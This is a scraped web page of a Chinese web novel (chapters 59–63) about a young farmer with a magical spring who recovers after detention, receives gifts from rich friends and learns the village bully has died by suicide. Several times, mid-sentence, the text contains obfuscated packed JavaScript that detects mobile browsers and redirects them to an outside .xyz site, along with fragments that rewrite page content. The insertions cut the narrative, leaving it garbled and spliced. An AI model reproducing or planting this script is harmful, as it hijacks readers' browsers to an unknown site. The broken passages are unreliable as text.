“我的身体，我自己清楚。”他声音依旧虚弱，眼神却异常坚定，他不放心村里，他担心的不仅是菜地，更是那些信任他、跟着他一起忙碌的乡亲们，还有……守护着菜地的狼群。 更何况，他最大的依仗——灵泉空间，在医院里无法动用。只要回到那个小院，回到灵泉旁，这些皮肉之苦，很快就能愈合。毕竟，连当初断裂的腿骨，都曾在灵泉的滋养下奇迹般复原。 拖着虚弱不堪的身体，莫天扬在县城拦了辆出租车。原本说好只送到国道口，可颠簸到地方，他尴尬地发现破旧的手机早已耗尽了最后一丝电量，自动关机了。好话说尽，又咬牙多加了五十块钱，司机才一脸不情愿地调转车头，驶向那条通往青木村的崎岖土路。 青木村，大院。 当莫天扬的身影颤巍巍地出现在院门口，瞬间点燃了所有人的情绪！帮忙的乡亲们、大青小白和狼崽们呼啦一下全围了上来！ 陈峰、胡标这些老人看清莫天扬的模样——脸色惨白如纸，嘴唇干裂，裸露的皮肤上青紫交错的伤痕清晰可见，整个人虚弱得仿佛一阵风就能吹倒——瞬间，老人们脸上的皱纹都因极致的愤怒而扭曲了！ “这帮天杀的畜生！他们不是人！是牲口！”陈峰气得浑身发抖，拳头捏得咯咯作响，浑浊的老眼里迸射出骇人的怒火。 胡标强压着心痛，声音发颤地推了陈峰一把：“老陈！现在说这些顶啥用！快去！给天扬弄点热乎的，好好补补身子骨！瞧这孩子都成啥样了！” 旁边的几位婶子大娘早已忍不住，一边抹着眼泪一边呜咽着咒骂，心疼得无以复加。 陈宏利赶紧上前，小心翼翼地搀扶住摇摇欲坠的莫天扬，一步步挪向屋子。走到屋前，莫天扬的心猛地一揪——爷爷莫啸佝偻着背站在那里，才短短三天不见，老人仿佛又变回了当初被莫老三一家肆意欺辱时那副沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946697|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压抑、了无生气的模样，眼神空洞得让人心碎。 “爷爷……”莫天扬声音嘶哑地唤了一声。 莫啸缓缓转过头，木然的目光落在他身上，声音干涩：“……那边……咋样了？” “上面派了大官下来，”莫天扬尽量让自己的声音听起来轻松些，“那些害人的东西都被抓走了。我……就是饿了几顿，没啥大事。” 莫啸默默地点了点头，喉咙里挤出一个含糊的“嗯”。就在他转身的刹那，莫天扬敏锐地捕捉到老人眼底深处一闪而逝、冰寒刺骨的杀意，快得几乎让人以为是错觉。 “天扬，想吃点啥？婶子给你做！”一位大娘抹着泪问。 “一碗热腾腾的手擀面就成。”莫天扬勉强笑了笑。 一碗带着麦香、卧着荷包蛋的热汤面下肚，仿佛一股暖流注入了冰冷的四肢百骸，莫天扬的精神肉眼可见地恢复了一丝。 他看向胡标和陈峰：“标叔，峰叔，我走的这几天，村里……还有菜地那边……”他最担心的，就是那些跟着自己辛苦劳作的老人和那片承载着希望的菜地。 胡标摆摆手，脸上露出一丝后怕与庆幸：“有大青它们守着，哪个不长眼的敢来？就是摘菜耽误了一天。昨天那些人刚被抓走，张学涛的电话就追过来了，急得很！” 他顿了顿，深吸一口气，脸上又浮起解气的神色：“还有件大快人心的事！” “哦？”莫天扬抬眼。 “莫老三那个狗仗人势的大女婿，安云飞！”陈峰抢着说道，声音洪亮，带着毫不掩饰的痛快，“也栽了！听说这回的坏水，就是他指使人泼的！就在今儿上午，莫老三家被他那大闺女带人砸了个稀巴烂！锅碗瓢盆摔了一地！” “哈哈哈！”陈峰畅快地大笑起来，“莫老三这些年仗着安云飞，在乡里横着走，连乡里干部都得让他三分！可打从你种菜开始，他先赔了十几万老本，这回更绝，连他最大的靠山都给‘嚯嚯’进去了！要不是亲爹，我看他闺女能当场撕了他！” 莫天扬扯了扯嘴角，露出一丝淡淡的嘲讽：“莫老三怕是要气疯了吧？” “何止是气疯！”胡标接口道，语气里带着鄙夷，“家被亲闺女砸了，中午就听说气得一口血喷出来，直接送医院抢救去了！报应！活该！” “呸！一家子白眼狼！”旁边的大娘恨恨地啐了一口，“当年莫叔帮衬他们多少？老了老了，倒被他们骑在头上拉屎！**都便宜他们！省得活着祸害乡邻！” 莫天扬轻轻叹了口气，恩怨情仇，一时难言。他目光转向陈宏利：“宏利，这两天小狼崽们……” 陈宏利连忙道：“天扬哥，你放心！大青、小白带着那群小崽子，这两天就守在菜地边上，寸步不离！晚上都直接趴在田埂上睡，警觉得很！根本不用我们操心，比我们守得还紧呢！” 第五十九章空间变化 “天扬，安云飞那可是县里手眼通天的大官啊！咱们平头百姓，无权无势的，到底是哪路神仙帮了你？还能把那么多当官的都掀翻了？” 曹勇的疑问代表了所有人的心声，毕竟他们没权没势，莫天扬被带走他们每一个都在担心，这现在…… 一时间，所有目光都齐刷刷地投向胡标。在他们这些一辈子面朝黄土背朝天、连县城都难得去几回的乡亲们眼里，胡标这个村长，已经是能“通官家”的大人物了。 胡标被看得浑身不自在，苦笑着连连摆手，最后把探寻的目光投向莫天扬：“天扬，是不是……那天跟张学涛一起来的那几位？是他们托了关系？”他指的是王林川那几位气度不凡的访客。 莫天扬微微一怔。张学涛带来的那几位，身份确实讳莫如深，但言谈举止间流露出的气度，绝非等闲。尤其是王林川，隐约透出能与京城搭上线的能量。若真是他们出手相助，倒也有可能…… 但这个念头只在他脑中一闪，便被他否定了。萍水相逢，一面之缘，人家凭什么为他冒这么大风险，动这么大的干戈？ “标叔，”莫天扬摇摇头，声音带着一丝疲惫后的释然，“现在网络发达得很。那天的事情闹得太大，在网上传疯了。估计是上头有关部门看到了**，才出手调查的吧。” “网络？”胡标、陈峰这些上了年纪的老人面面相觑，脸上写满了困惑和难以置信。对他们来说，“网络”这东西虚无缥缈，远不如一亩三分地实在。靠些看不见摸不着的“网”，就能把安云飞那样的大官拉下马？这在他们朴素的认知里，简直像天方夜谭。 村里平安无事，莫老三一家的鸡飞狗跳也传不进莫天扬的耳朵。此刻，莫老三在他心里，不过是个同姓的陌路人，是死是活，早已激不起他心中半点波澜。 “行了行了！”胡标看出莫天扬眉宇间的倦色，连忙招呼大家，“都少说两句！天扬这几天遭了大罪，让他好好歇歇！散了，干活去！” 人群散去，大院重归宁静。莫天扬回到自己简陋的屋子。大青和小白仿佛通晓他的心意，一左一右安静地卧在屋前，如同两尊忠诚的石像。 夜幕低垂，临时搭建的餐厅里饭菜飘香。陈峰看着围坐的众人，起身道：“我去喊天扬过来吃饭。” 一直沉默的莫啸缓缓开口，声音带着老人特有的沙哑和心疼：“让他多睡会儿吧……饭，给他留在锅里温着。” …… 灵泉空间内，莫天扬长长地呼出一口浊气，仿佛要将这几日的污浊与郁结尽数排出。低头审视身体，那些触目惊心的伤痕已变得极淡，几乎看不出来。虽然还有些虚弱，但精气神已恢复了七八成。 身体无恙，家园安宁，莫天扬心头一片澄澈舒畅。他信步踏上那片漂浮在水面上的无土种植区。 仅仅三天未入空间，眼前的景象让他呼吸都为之一滞！ 原本半尺高的西红柿苗，此刻竟疯长至一米四五！比外面菜地里的植株还要高出一大截！更令人震撼的是那累累硕果！密密麻麻的西红柿挂满了枝头，从顶到底，层层叠叠！最下层的一批已然熟透，个个饱满圆润，沉甸甸地垂着，随便一个都足有半斤重！那鲜艳欲滴的红，在空间柔和的光线下，宛如无数盏喜庆的红灯笼，散发着诱人的光泽！ 莫天扬忍不住伸手摘下一个最大的。入手微凉，沉甸甸的质感带着生命的丰盈。他毫不犹豫地咬了一大口！ “咔嚓！” 汁水瞬间在口中爆开！甘甜如蜜的汁液中，恰到好处地裹挟着一丝清新的果酸，完美地平衡了甜腻。更令他震惊的是，那流淌到手指上的汁液，竟如粘稠的蜜糖一般，在指间拉出晶莹的细丝！ 一股难以言喻的、沁人心脾的清凉感，随着汁液滑入腹中，迅速弥漫开来！仿佛一股纯净的生命能量瞬间涤荡了四肢百骸！这种感觉，前所未有！ 莫天扬低头，难以置信地看着手中被咬了一口的西红柿。果皮薄得近乎透明，果肉沙瓤饱满，色泽红润得如同宝石，与市场上那些皮厚肉硬的“铁皮西红柿”天壤之别！ 至于说口感，瞬间唤醒了他童年记忆中最纯正的西红柿味道！然而，记忆中的味道，却远不及此刻唇齿间萦绕的那一丝……仿佛来自天地初开般的、难以形容的纯净清香！ 他心头狂跳，几步冲到旁边的种植箱前，摘下一根顶花带刺的嫩黄瓜。 “咔嚓！” 又是一声清脆！牙齿陷入瓜肉，那股极致的鲜、脆、清、甜，如同山涧清泉般直冲脑门！口感竟比外界菜地里那些用稀释灵泉水浇灌的顶级黄瓜，还要好了不知道多少！ 莫天扬眼中精光爆闪！他明白了——这灵泉空间的核心灵泉之水，其蕴含的神奇力量，远非稀释后的泉水可比！这口感上的天壤之别，正是源自于此！ 身上带伤，料定曹勇他们不会来扰，莫天扬便不急着出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没事儿，”莫天扬摆摆手，“这几天就是缺觉，狠狠睡了一觉，现在啥事儿都没了。” 几人看他脸上只剩一丝浮肿，点了点头。陈峰还是劝道：“话是这么说，可你还得多养养。眼下你的事业刚有点起色，要是你垮了，我们这些人可就没指望了。” 莫天扬哈哈一笑：“哪能呢！对了，振南哥他们回来了吗？” “振南说今天回。克雄他们估计也差不多，就这一两天的事儿。” “回来就好。”莫天扬深吸了口气。 曹勇眼神闪了闪，接话道：“他们一回来，我们几个老家伙也能松快松快了。” 莫天扬心头一动，立刻摆手：“勇叔，您这话可不对！我们是年轻，可论种地还是二把刀。您几位跟这片地打了大半辈子交道，种菜的本事还得靠你们这些老把式。以后啊，您几位主内坐镇，让宏利、克雄哥他们跑外头去。” 第六十章送礼？ “天扬，外面车真多，菜地那边少说聚了几百号人。”曹勇匆匆进来，语气带着惊异。 “这么多？”莫天扬也感意外。 “谁说不是！几十年没这么热闹过了。” 莫天扬轻叹一声。曹勇说得没错，青木村人口最多时不过千人，这些年搬走的搬走，打工的打工，过年都凑不齐五百人。这一下子涌进这么多人，村里人自然吃惊。 胡标眼中透出担忧：“天扬，他们不会是……” 莫天扬摇头打断：“这几天的事闹得全网皆知，前天安云飞那帮人又被带走，他们过来多半是看个新鲜。” 说完，他转向陈宏利：“宏利，这事因我而起，我露面反倒添乱。这几天外面的事就交给你了，等克雄、振南回来再说。” “对了天扬，”陈宏利看向莫天扬，“从昨天下午开始，网上关于青木村、特别是你出镜的视频，好多都被平台屏蔽了。” 莫天扬眼神微动：“这事动静不小，又有公知掺和，平台出手清理也正常。” 听他这么一说，胡标几人都点头。这段时间的明枪暗箭，他们都看在眼里，桩桩件件都冲着莫天扬。搁在以前，他们或许只能干着急。可这一个多月，大伙儿在莫天扬这儿吃好喝好，还拿到了这辈子没见过的厚实工钱。这一切都系在莫天扬身上，谁都不想他出事。 众人去菜地忙活，莫天扬独自留在院子。 上午九点多，院外骤然响起一阵刹车声——不止一辆。他下意识凝神细听，却没听到大青的吠叫，不由得自嘲一笑：真是惊弓之鸟了。 “天扬，你朋友来了！”正患得患失间，曹勇的声音响起。 莫天扬刚走出菜地，就见张学涛、王传林几人进来，后面还跟着四五个面生的中年人，人人手里提着礼品。 “涛哥，怎么不提前招呼一声？我这啥都没准备。”莫天扬迎上去。 看见他脸上未消的浮肿和青紫，张学涛皱紧了眉，王传林直接开骂：“那群王八羔子，活该牢底坐穿！” “天扬，你感觉咋样？不行咱再告他们个滥用职权！”一个同来的中年人关切道。 莫天扬笑了笑：“李哥，皮外伤，告也告不出多大名堂。走，先进屋。”他转头吩咐曹勇：“勇叔，麻烦看看有啥现成的，先备上，我随后去弄菜。” 遮阳棚下，众人放下手中包装精美的礼盒。莫天扬有些不好意思：“人来就行了，还带什么东西。” 李红军摆手道：“听说你在浅驼吃了苦头，我们想托关系帮你走动走动，结果还没等动作，上面调查组就下来了，啥忙也没帮上，这不赶紧来看看伤员。” 莫天扬活动了下手脚，笑道：“你看我像伤员？” “涛子专门去医院打听了，”李红军指指张学涛，“说你伤得不轻，是自己坚持要出院。按医生的说法，你那伤够得上轻伤了。你这体质，是真行！” 王林川低头从自己的袋子里拿出一个白色盒子，“天扬，上次看你手机太旧了，也不知道给你买什么好。听涛子说你常进山，一般手机山里没信号，就给你选了款能接收卫星信号的。” 莫天扬一愣，赶忙摆手。大学四年勤工俭学，他很清楚各种手机的价格，尤其是能接收卫星信号的——这别说一般家庭，就是经济宽裕的家庭也未必用得起。这…… “王哥，手机太贵重，我不能收。” 王林川直接把手机塞进莫天扬手里，“天扬，不瞒你说，因为你的豆芽和蔬菜，我结识了不少对我有帮助的人，也赚了不少钱。只要你持续供货，对我事业帮助更大，这台手机根本不算什么。” “天扬，收下吧，”李红军接口道，“这手机是不便宜，不过对林川来说也就是几顿饭钱。以后你进山多弄点好山货给他就成。” 李红军这一说，其他人也跟着附和。莫天扬推辞不过，只得收下。 随后，其他人也纷纷拿出带来的礼物：品牌衣服、高档烟酒和补品，每一样都价值不菲。 既然收了王林川的，莫天扬也不好再拒绝其他人，但他暗暗将每个人的名字记在心里。他们不缺钱，自己可以用别的东西补偿。 “天扬，厨房还有几只山鸡野兔，要不让宏利去县里买点别的……”曹勇问道。 莫天扬看了眼来客，这些人非富即贵，普通食材怕入不了他们的眼。“算了吧，等下去池塘弄点鱼蟹，再炒几个菜将就一下。勇叔，麻烦先把这些礼盒送我屋里去。” 曹勇提着礼盒离开，莫 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莫天扬招呼人抬野猪。不远处拍摄的人群看得目瞪口呆。他们听说过青木村的“狼王”，青木山下来的青狼在他面前温顺如宠物，但亲眼所见，内心的震撼依旧无以复加。 人多力量大，野猪很快被抬回院子。曹勇等人立刻张罗烧水清理…… “天扬，我们真是服了！那些青狼简直像你养的一样，你怎么做到的？”有人惊叹。 “青狼是动物，但也有灵性。它们知道我救过大青，养过它们的崽子，就把我当成自己人了。”莫天扬解释道。 “天扬，这野猪肉能不能卖我们点？别的地方抓野猪犯法，你这里可没事。”有人眼馋地问。 莫天扬哈哈一笑：“等会儿给你们炖大锅带骨野猪肉！剩下来的都带走。反正隔三差五青狼就会送些野味来。” “什么时候跟你进山，有青狼保护，什么动物能伤到咱们。” 张学涛摇摇头，“别想了，青狼的确会保护，不过保护的是天扬，咱们根本没办法靠近他们，别让他们伤了就不错了，还想着他们保护咱们。” 众**笑 第六十一章人情债 浓郁的肉香在空气中弥漫，遮阳棚下的王林川、李红军等人下意识地深深吸了口气。饶是天天在酒店应酬，此刻也忍不住接连吞咽口水。 “这也太香了！”李红军眼睛直勾勾盯着不远处临时搭建的灶台。 “天扬这手艺，在星级酒店都够格当主厨了，要不……”一个青年忍不住低声提议。 王林川瞪了他一眼：“想什么呢？现在天扬光卖菜一天就好几万，哪个酒店能开这价？” “我决定了，就在这儿住几天！”有人立刻接话。 众人一愣，目光扫过那一排六间低矮的土房，随即摇头。房子他们看过，面积都不大：莫天扬爷孙各住一间，厨房、豆芽房、储藏间各占一间，还有一间是专门给青狼留的。 “涛子，”王林川转向张学涛，“你好像提过天扬有翻盖房子的打算？” 张学涛点头：“是说过，他想把这一排都改造了。不过之前手头紧，打算等入冬再动工。” 王林川眼中精光一闪，看向李红军和其他人：“哥几个，咱们凑点份子，帮天扬起个二层小楼怎么样？” 张学涛迟疑道：“王哥，天扬这人……很有原则，怕是不会轻易接受。” 王林川摆摆手：“他迟早要盖！现在天不冷，等入冬再动工，老爷子身子骨哪受得了？咱们就当是预付的菜钱，慢慢从他供的菜里扣就是了。” 李红军嘿嘿一笑：“还有鸡鸭、山鸡、野兔呢！” 众人眼睛一亮，不约而同想起菜地里散养的那些活物——城里人趋之若鹜的“土货”。上千只只喂菜叶玉米的鸡鸭，本身就是笔不小的财富。 “行！就这么定了！回头我就联系人。”王林川拍板，“等新楼盖好，咱们再来就能舒舒服服长住了。” 下午两点多，饥肠辘辘的众人终于开席。曹勇等人在屋里吃，莫天扬则陪着王林川一行在遮阳棚下。 王林川等人饿得前胸贴后背，可桌上喷香的山鸡炖野兔此刻却失了宠，所有人的目光和口水都献给了那口香气四溢的大锅。 当一大盆热腾腾、油亮亮的带骨野猪肉端上桌时，连见多识广的王林川都直了眼——每块肉都足有一斤多重，豪放得惊人！ “都愣着干嘛？村里没那么多讲究！”莫天扬笑着起身，麻利地将大块肉分到各人盘中。 有了主人发话，加上馋虫早已按捺不住，王林川等人瞬间抛开了矜持，抓起骨头就啃。 一口下去，众人齐齐一震！肥肉入口即化，瘦肉紧实不柴，那饱含肉汁的滋味里更透着一股难以言喻的奇香。 刹那间，棚下只剩下此起彼伏的咀嚼声…… 不到半小时，两大盆野猪肉被扫荡一空。上次还抢着吃的山鸡野兔和炒菜，这次几乎无人问津。 众人净手回来，王林川带头冲莫天扬竖起大拇指：“天扬，哥几个服了！这辈子没吃过这么绝的炖肉！” 莫天扬朗声笑道：“合胃口就好！剩下的都切好了，你们走时带上，怎么分我就不管了。” “天扬，这野猪肉金贵着呢！市面上快一百一斤了，我们得给钱……”有人连忙说。 莫天扬摆摆手，语气爽朗：“王哥，说这话就见外了。你们送那么贵重的礼，我回点山货不是礼尚往来？再说野味在我这儿真不值钱，没准明天狼群又给送来了！” “那我们就不客气了！”众人笑着应道。 莫天扬爽朗一笑：“这就对了！青狼送来的东西，咱们自己吃没问题，但拿出去卖可不行。” “天扬，”王林川顺势接过话头，“刚才我们合计了一下，你这土房子真该推倒重建了。夏天还能凑合在棚子下吃，等冬天我们再来，怕是连个落脚取暖的地方都没有。” 莫天扬微微一怔，随即点头：“我也想过这事儿。等这茬蔬菜收完，我就打算把这一排都翻建成新房。” “何必等到秋天！”王林川摆摆手，语气不容置疑，“我们哥几个商量好了，每人出一点，算借给你的。这钱呢，慢慢从你供的蔬菜里扣——对了，你院里那些鸡鸭也得给我们留着！” 莫天扬目光转向张学涛，见他点头确认，便深吸一口气应下：“行！我这两天就着手找人。” “不用你操心，”王林川一锤定音，“我有搞建筑的朋友，直接在院子里起个二层小楼，以后我们来也有个舒坦住处。” 莫天扬眼中闪过一丝犹疑：“王哥，青木村的情况你也清楚。县里财政吃紧，但万一哪天有钱了，把整个村子当荒漠化移民迁走，这楼不就白盖了？” 王林川闻言大笑：“那你倒说说，县里为什么要迁走青木村？” “还不是因为荒漠化太严重，土地都没法种了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964017|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那如果……青木村能变成绿洲呢？”王林川意味深长地看着他。 莫天扬心头一震，目光扫过王林川几人，瞬间明白了他们的潜台词——如果自己的菜地能证明这片沙地可治，青木村就有存续的价值，县里自然不会耗费巨资搬迁。“如果你们信我，”他语气沉静下来，“那就盖楼。” 王林川几人相视一眼，爆发出一阵更响亮的笑声。“天扬啊天扬！”王林川拍着他的肩膀，“你的蔬菜豆芽都是独一份的宝贝！先不说别的沙地能不能种，就眼下这几十亩菜地，回本还不是转眼的事？再说了，你不是常进山吗？运气好挖到点雪灵菇、老山参，说不定一趟就能赚回一座楼的钱！” 莫天扬心中一动，灵泉空间里那株百年老山参的影子在脑海一闪而过，但他随即按下念头——这等稀世珍宝，无论在哪个年代都是有价无市，轻易动不得。 日影西斜，莫天扬送走了张学涛一行。目送着车队消失在蜿蜒的村道上，他转身望向身后郁郁苍苍的青木山，深深吸了一口带着草木清香的空气。 王林川这些人，自然是不缺钱的。他们肯主动借钱给自己盖楼，虽是因这菜地的缘分，但在这年头，能如此干脆地伸出援手，无疑是一份厚重的人情。 莫天扬深知，人情债最难偿还。金钱他们不缺，礼物动辄便是上万的手机……能回报这份心意的，恐怕也只有这莽莽青山孕育的珍奇了。 回到院子，莫天扬回到自己的屋子，今天王林川他们过来可是带过来不少礼物，虽说他们说了一下，他自己的也好好看看。 十条华子、十二瓶飞天茅台，四套衣服，或许是知道莫天扬进山，四套衣服都是运动服，一款上万的手机。 将手机卡换上，莫天扬看了眼伴随了他几年的二手手机，心里有了打算，换一张卡，以后就放在家里当成是一个电话。 就在莫天扬熟悉手机的时候，陈峰急匆匆从外面进来，他的眼眸中有着一丝难以掩饰的凝重。 “天扬，出大事了。” 莫天扬一愣，他将手机放进衣兜，“峰叔，怎么了。” 陈峰深吸口气，“莫老三**。” 莫天扬眼眸一缩，虽说他内心中恨莫老三一家恨得要死，莫老三也有六十多岁，可这突然间**，他还是感到意外。 “**的。” 第六十二章莫老三**？ 还不是因为他大女婿安云飞！莫老三住院不知道怎么让亲家知道了，安家一帮人冲过去，当着那么多人面就把他揍了一顿。莫老三想不开，等人走了，就在病房里寻了短见。” “莫栓呢？他不是挺横的吗？就眼睁睁看着他爹挨揍？”有人追问。 陈峰撇撇嘴，“哼，他那是窝里横！也就敢欺负青木村的老实人。对上安家人，他屁都不敢放一个！莫老三多半就是气这个儿子不管他，才走了绝路。” 莫天扬无奈地摇摇头，“这下医院要遭殃了。莫栓那种人，绝不会放过这个**讹钱的机会。” “谁说不是！他那四个姐姐都赶回来了，就他没露面。” “他大姐也回来了？” “回来了，哭得最凶。村里人都议论，莫老三想不开，根子就在她身上。”陈峰道。 莫天扬心里暗叹。安云飞帮莫老三被抓，莫老三又因安云飞的事想不开……经此一事，莫老三家怕是真要少一个女儿了。 晚饭时分，村里人都在议论莫老三的事。奇怪的是，没人流露半分同情。这些年，莫家父子除了欺负莫天扬爷孙，村里不少人也吃过他们的亏。在众人眼里，莫家就是村里的恶霸，莫老三这一死，大家反倒觉得能少受些窝囊气。 正吃着饭，一个身高约莫一米七五、身材魁梧的青年跟着胡标走了进来。 莫天扬起身招呼：“怎么才到？” 胡振南抹了把汗，苦笑：“嗨，出租车一听来青木村都不愿跑，东西又多，来回倒腾了好几趟才弄回来。” 他喘了口气，看向莫天扬，带着点局促：“天扬，你也知道我的底，初中都没念完，是个大老粗。我……” 莫天扬笑着摆摆手，打断他：“振南，咱们种菜、搞养殖，靠的是实打实的力气和肯干。文化深浅不打紧，我要的就是能吃苦、靠得住的人。” 胡振南用力点头：“力气活你放心，我肯定顶得上！” “先吃饭，垫垫肚子。这几天熟悉下环境。村里有标叔他们照应，往后跑县里、市里的活儿，就靠你和红利他们了。”莫天扬安排道。 胡振南刚坐下，看着桌上丰盛的饭菜就愣了，下意识看向父亲胡标。 胡标会意，笑道：“平常就这伙食。咋样，没瞧见我们几个老家伙都比过年那会儿胖了一圈？” “这……这饭菜，搁我以前上班那儿，一顿少说也得三十块！”胡振南惊叹。 胡标和几个老人听了，都忍不住咋舌。一顿饭三十？一天就是小一百，一个月下来快三千了！这可是青木村好些人家一年的花销。 “天扬啊，”胡标有些过意不去，“你现在是比从前宽裕了，可也不能这么铺张，以后……” 莫天扬淡然一笑：“标叔，您想哪儿去了。桌上这些，有几样是花钱买的？不都是咱自己地里种出来的？吃自家的菜，还算什么钱？” 老人们听了，都笑着摇头。胡振南夹起一筷子菜送进嘴里，眼睛顿时亮了。 “嚯！这味儿也太好了！” “振南，知道天扬种的茄子卖多少钱一斤不？”旁边有人问。 胡振南一愣，随即点头。这段时间他和家里联系，早知道莫天扬种出来的菜，批发价比县里零售价还高一大截。 “这都是院里刚摘的……”胡标指着菜说。 “我说呢！天扬这手艺，加上没打药没施肥的纯天然种法，味儿能不好吗？”胡振南恍然大悟。 也许是搬东西累着了，再加上饭菜实在可口，胡振南一口气吃了八个大馒头才放下筷子。他满足地长舒一口气，看向莫天扬：“还是回家好啊！” 莫天扬淡淡一笑，“那就好好干。这段时间，宏利家的门槛都快让媒婆踏平了。你们几个都加把劲，争取也早点把媳妇娶进门！” 胡标几个一听这话，眼睛瞬间亮了，脸上的皱纹都舒展开来。要搁几个月前，这事他们想都不敢想。可如今，这念头竟真真切切地在心里扎了根，一个个脸上都掩不住兴奋。 看着一张张激动的脸庞，莫天扬深吸了口气，“还有 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“这法子也行……”胡标沉吟着，脸上仍有忧色，“不过，这些年乡里县里总在提青木村搬迁的事。花这么大价钱盖楼，万一……” “标叔，这事儿我也琢磨过。”莫天扬语气沉稳，“搬迁是因为沙进人退，实在活不下去了。可咱们现在能在村里种菜，日子有奔头，上头就不会让咱们搬。” “嗯，是这个理儿！”胡标和其他人互相看看，纷纷点头，忧虑消散了不少。“我们这些老家伙不懂别的，到时候搬砖、和水泥这些力气活儿，尽管交给我们！” “那可不行，”莫天扬笑着摇头，“菜地才是咱们的命根子，离不得您几位。盖房子的事，得找专门的工程队。宏利、振南，”他转向两个年轻人，“明天你们跑趟城里，弄几套简易房回来。咱们就在外面空地搭起来。” “要弄几间？”胡振南问。 “多弄几间。”莫天扬目光看向远处，“就算以后楼房盖好了，说不定也还能派上用场。” 第六十三章卖饭 莫老三一家沉浸在悲悲切切的丧事中，莫天扬这边却是一片热热闹闹的忙碌景象。如此鲜明的对比，让村里人都不禁唏嘘感叹。 毕竟，当年莫老三一家是如何欺凌莫天扬爷孙的，大家都看在眼里。如今风水轮转，莫天扬种菜的事业做得风生水起，而莫老三却落得个想不开寻了短见的下场。 “天扬，莫老三那边过来奔丧的亲戚，满打满算也就十来个人。”陈峰凑近低声道，“莫栓在村里到处求人帮忙，可大伙儿都躲着他，人影都抓不着一个。这么下去，莫老三怕是要下葬都难了。” 莫天扬微微一愣，随即摇了摇头。这些年，莫老三一家得罪的人太多了。以前有安云飞撑腰，人们敢怒不敢言。如今安云飞自己都进去了，谁还会买他们的账？ 至于那些亲戚，这段时间也没少被莫家父子坑骗。加上安云飞这座大靠山倒了，深知莫家父子秉性的人，自然更不愿跟莫栓沾边。 见莫天扬沉默不语，陈峰眼神闪了闪，试探着说：“安云飞进去了，村里人又不待见，我看莫老三一埋，莫栓八成会带着他妈搬走。” “他们得罪的人太多，现在没了靠山，留在村里也是挨欺负的份儿。搬走……也好。” “天扬，那些年你们爷孙可没少受他们欺负，你就……不想……”陈峰话没说完，但意思很明显。 莫天扬当然懂，他再次摇头：“就他们那种人？不值当。莫栓可是把莫老三那套阴狠劲儿学了个十足十。他不暗地里使绊子就算不错了，真要去招惹他，指不定怎么报复呢。而且现在，莫栓他们心里，恐怕早就把莫老三的死算在我头上了。” “他们……”陈峰一时语塞，但细想莫天扬的话，也不得不承认有道理。以前莫家欺负莫天扬时，没人敢出头。可自从莫天扬开始反击，莫家就接连倒霉——毒豆芽事件，联合执法安云飞倒台……虽然莫天扬看似没直接出手，但桩桩件件都和他脱不了干系。 “也是，”陈峰眉头微皱，“莫栓靠着安云飞的关系，在外头也认识不少三教九流的人，真得提防着点。” 莫天扬点点头，岔开了话题：“宏利和振南走了吧？” “走了，头一趟车就走了。胡标他们已经在外面找搭简易房的地儿了。”陈峰应着，又想起一事，“对了天扬，既然要盖楼房，我看这院墙也干脆推倒重建算了。要弄，就弄个像样的！” “嗯，”莫天扬表示同意，“这两天工头就过来，到时候我跟他一起规划。对了峰叔，”他话锋一转，“最近外面来的人越来越多，他们吃喝是个问题。我想着，让村里手脚勤快、干净利落的人，在外头支个摊子，应该也能赚点钱。” 陈峰苦笑着摇摇头：“村里剩下的人，不是老人就是孩子。但凡手脚勤快的，早都出去打工了。要不……咱们自己干？反正咱有现成的菜，卖不掉咱自己吃，多少也能赚点辛苦钱。” 莫天扬微微一怔，随即摇头：“峰叔，您和婶子们年纪也不小了，光是给咱们这二十多人做饭就够累的。外头每天少说也有几百号人，要是咱们自己支摊做饭，那不得累趴下？” “嗨，怕啥！”陈峰来了精神，“我们也就是摘摘菜、备备料，比出去打工可轻省多了。弄口大锅，炖点大烩菜、熬锅肉，保管受欢迎！” 莫天扬看他坚持，便点了点头：“行，那咱们明天试试。” “还等明天干啥！”陈峰一拍大腿，“曹勇前两年想让儿子克雄回来做红白喜事的席面，置办了一整套锅灶、大铁锅。谁想克雄那小子不乐意干，买回来的东西原价卖不出去，一直在家搁着呢。你这边要用，准行！” 莫天扬眼中光芒一闪，立刻拍板：“好！就按原价我买过来。反正盖房的时候，外面也得搭个临时灶台做饭，正好用得上。” “那我给凌飞打电话，让他多捎点肉回来。”陈峰说。 “多弄几只鸡，今天咱们炖鸡！”莫天扬补充道。 有钱好办事，人多力量大。 九点刚过，院墙外的临时灶台就冒起了炊烟。让莫天扬惊喜的是，曹勇家不但有全套的灶具，竟还有一个没拆封的大帐篷！ 在院外支起灶台、搭好帐篷，引来买菜人群好奇的目光。几个买到菜的人凑过来问：“老板，你们这是要做啥？” 陈峰哈哈一笑：“大伙儿大老远跑来买菜，好些人得等到下午才能买上。我们寻思着炖点肉、熬锅大烩菜，让大家伙儿垫垫肚子，别饿着！” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 